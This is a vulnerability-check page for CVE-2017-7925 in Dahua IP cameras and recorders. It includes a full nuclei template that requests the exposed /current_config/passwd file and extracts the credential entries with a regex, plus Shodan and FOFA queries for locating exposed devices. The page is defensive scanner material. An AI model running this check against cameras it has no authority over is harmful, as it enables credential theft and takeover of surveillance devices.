Dahua Security - Configuration File Disclosure

criticalseverity

9.8CVSS score

51.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.

Impact

This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.

Fix

To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.

How to confirm it

Send: GET {{BaseURL}}/current_config/passwd
Positive when: contains(to_lower(body), "ugm") and contains(to_lower(body), "id:name:passwd") and status_code == 200

Run it with nuclei: nuclei -id CVE-2017-7925 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-7925

info:
  name: Dahua Security - Configuration File Disclosure
  author: E1A,none
  severity: critical
  description: |
    A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.
  remediation: |
    To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7925
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-02
    - http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7925
    cwe-id: CWE-522,CWE-260
    epss-score: 0.51418
    epss-percentile: 0.9895
    cpe: cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dahuasecurity
    product: dh-ipc-hdbw23a0rn-zs_firmware
    shodan-query: http.favicon.hash:2019488876
    fofa-query: icon_hash=2019488876
  tags: cve,cve2017,dahua,camera,dahuasecurity,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/passwd"

    matchers:
      - type: dsl
        dsl:
          - contains(to_lower(body), "ugm")
          - contains(to_lower(body), "id:name:passwd")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - 1:(.*:.*):1:CtrPanel

References

Use this check only on systems you are authorised to test. Where the data comes from